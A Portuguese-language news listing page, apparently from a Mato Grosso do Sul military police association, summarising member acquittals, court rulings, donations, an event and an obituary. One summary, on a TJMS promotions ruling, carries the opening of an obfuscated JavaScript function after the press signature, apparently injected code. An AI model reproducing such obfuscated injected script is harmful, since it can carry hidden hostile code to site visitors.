sábado, julho 5
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Vitória recebe mais uma edição do Fórum Nacional das Entidades Representativas

Vitória recebe mais uma edição do Fórum Nacional das Entidades Representativas

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O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, representará o Estado durante o XVIII Fórum Nacional das Entidades Representativas de Policiais Militares e Bombeiros Militares, que acontece entre os dias 22 e 23 na cidade de Vitória (ES). Realizado pela Anermb (Associação Nacional das Entidades Representativas dos Militares Brasileiros), o evento acontece no auditório do Tribunal de Contas do Espírito Santo com apoio da ACSPMBMES (Associação de Cabos e Soldados da Polícia Militar e Bombeiro Militar do Estado do Espírito Santo). Durante o Fórum, acontecerão seminários, palestras e rodas de debate envolvendo temas de interesse nacional dos servidores militares estaduais, como projetos em trâmite ...
Cabo Couto critica projeto do abuso de autoridade: “estamos algemados”

Cabo Couto critica projeto do abuso de autoridade: “estamos algemados”

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O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, teceu duras críticas ao projeto que define em quais as situações será configurado o crime de abuso de autoridade. Ele participou, na tarde desta segunda-feira (18), de um ato de protesto contra a proposta realizado em frente ao Fórum de Campo Grande. “Realmente, nós, policiais militares, que somos a linha de frente, estamos algemados. Da maneira como está, estamos respondendo sindicância sobre sindicância. Imagina se esse projeto for para frente, o que nós faremos? Quem vai pagar essa conta é a sociedade”, avisou Couto. No último dia 14, a Câmara dos Deputados aprovou um regime de urgência para o projeto e, horas depois, realizou uma votação simbó...

Jurídico da ACS consegue absolvição de sócio denunciado por abandono de posto de serviço

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, nesta quarta-feira (14), a absolvição de um associado denunciado por abandono de posto de serviço. O fato teria ocorrido na região de Naviraí, em um posto da Receita Estadual. Lotado na cidade, o associado ainda teve apoio irrestrito do diretor Regional, CB PM Rodrigo Nascimento Bonfim, no decorrer da ação. A defesa, em suas alegações, sustentou a tese de que o policial militar, no máximo, teria incorrido em uma infração administrativa, tese esta que levou a Justiça a reconhecer a inexistência do crime. Ele foi absolvido por unanimidade. “Nosso trabalho tem sido árduo na busca pela justiça em defesa dos associados da ACS. A maior recompensa é justament...
STJ reconhece incompetência da Justiça Militar para julgar policiais em crimes fora de serviço

STJ reconhece incompetência da Justiça Militar para julgar policiais em crimes fora de serviço

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O ministro Nefi Cordeiro, do STJ (Superior Tribunal de Justiça), decidiu que o policial militar da ativa, em seu horário de folga e fora do local de serviço, ou seja, fora do local sob os auspícios da Policia Militar, não comete crime militar, e sim crime comum. A decisão foi tomada em julgamento de um Habeas Corpus impetrado pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em favor de um sócio. “Trata-se de uma decisão inédita quando se trata de competência da Justiça Militar Estadual, uma vez que a defesa sempre insistiu com a tese de que a Justiça Militar Estadual não era competente para processar e julgar policiais militares que teriam cometido crime fora do horário de trabalho e em locais não subordinado...
Concurso: ACS auxilia candidatos que pretendem entrar com recurso contra o resultado do Exame de Capacidade Física

Concurso: ACS auxilia candidatos que pretendem entrar com recurso contra o resultado do Exame de Capacidade Física

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) está auxiliando os candidatos que pretendem entrar com recurso contra o resultado do Exame de Capacidade Física. O prazo termina hoje (13), às 17h. Reclamações de alguns candidatos indicam que a Fapems, organizadora do concurso para soldados e oficiais da Polícia Militar e do Corpo de Bombeiros, cometeu possíveis irregularidades nas filmagens e cronometragem individual da prova de corrida. Em alguns dos vídeos, que serviriam para os candidatos saberem seus tempos de prova, sequer aparecem os tempos registrados. Os interessados podem procurar a sede da ACS, que fica na Rua Joaquim Manoel de Souza, 67 - Vila Olinda. Mais informações pelo telefone (67) 3387-8501 Jeozadaque Garcia Assess...
ACS solicita acesso ao Termo que permite advogados terem acesso ao Sigo

ACS solicita acesso ao Termo que permite advogados terem acesso ao Sigo

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) solicitou à Sejusp (Secretaria de Estado de Justiça e Segurança Pública) cópia do Termo de Cooperação que liberou acesso de profissionais da advocacia ao Sigo (Sistema Integrado de Gestão Operacional). O documento, assinado pelo presidente da entidade, cabo Mario Sérgio Couto, foi protocolado esta manhã na própria Secretaria. Nele, o representante dos policiais militares e bombeiros reforça a necessidade de acesso ao Termo para esclarecer alguns pontos aos associados. A medida atende pedido da OAB/MS (Ordem dos Advogados do Brasil) em Mato Grosso do Sul. Para o presidente da Ordem, o ato abre mais um canal de trabalho para a advocacia. Para ele, segundo o site Campo Grande News, é um pa...

Jurídico da ACS consegue absolvição de sócios denunciados por posse de munição de uso restrito

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, na última quarta-feira (07), a absolvição de um associado que havia sido acusado de posse de munição de uso restrito. Conforme a denúncia, foram encontradas algumas munições de uso restrito na residência do militar, motivo pelo qual o Ministério Público Estadual o denunciou nos termos do Estatuto do Desarmamento. Durante o julgamento perante a Justiça Militar, a defesa sustentou a tese do princípio da insignificância acrescida da atipicidade de conduta por absoluta inexistência de dolo, tese esta que, por unanimidade, foi acatada pelos juízes que compõem o Conselho da Justiça Militar. “Os advogados da ACS lutam diuturnamente por uma sociedade mais just...
ACS realiza doação de televisor para o pelotão de Rio Verde de MT

ACS realiza doação de televisor para o pelotão de Rio Verde de MT

Ação ACS, Notícias
A atual gestão da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) tem realizado uma série de ações em parceria com os comandos da unidade. Agora, foi a vez do Pelotão de Rio Verde de Mato Grosso receber um aparelho televisor de 32 polegadas. O ato de entrega aconteceu na manhã desta terça-feira (06). Em junho, a ação passou por São Gabriel do Oeste , também com a doação de uma televisão. No ano passado, a entidade já realizou a doação de uma televisão 32 polegadas para o pelotão da Polícia Militar em Sonora, vinculado ao 5º Batalhão da PM. Uma semana depois, foi a vez do PME ser beneficiado com beliches, uma geladeira e um fogão. Já no município de Porto Murtinho, foram doados beliches e colchões para o 3º Pelotão da Polícia Militar...
Decisão do TJMS deve destravar promoções na PM e BM

Decisão do TJMS deve destravar promoções na PM e BM

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A 1ª Câmara Cível do TJMS (Tribunal de Justiça de Mato Grosso do Sul) julgou, nesta segunda-feira (05), improcedente um mandado de segurança que havia sido impetrado pela categoria dos procuradores e, desta forma, destravou as promoções na Polícia Militar, Corpo de Bombeiros e Polícia Civil. Segundo o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, o mandado impedia a concessão de promoções aos servidores estaduais. Agora, ele explica, não há restrição alguma para o Governo finalmente colocar em dia as promoções na PM e BM. Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x302...

NOTA DE PESAR – SGT PM Dionísio

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A 7º Regional da ACS de Naviraí comunica, com muita tristeza, o falecimento do 3º Sgt PM REF DIONÍSIO MIGUEL ALVES PEREIRA (57). Transferido para a Reserva Remunera da PM em junho de 2015, o Sgt, que é proveniente da 1º turma de Soldados da então 8ª CIPM de Naviraí (atual 12º BPM) do ano de 1984, trabalhou durante seus 30 anos na região. Ele vinha lutando pouco antes de sua passagem para reserva, por problemas cardíacos. O Sgt deixa esposa, filhos e muitos amigos com quem trabalhou durante todo o período que esteve na ativa. O policial militar deixa um legado de bons serviços prestados à Polícia Militar e à sociedade. A ACS se coloca à disposição da família para o que se fizer necessário. Velório Em breve informaremos detalhes sobre o velório e sepultamento, que acontecerão em Naviraí,...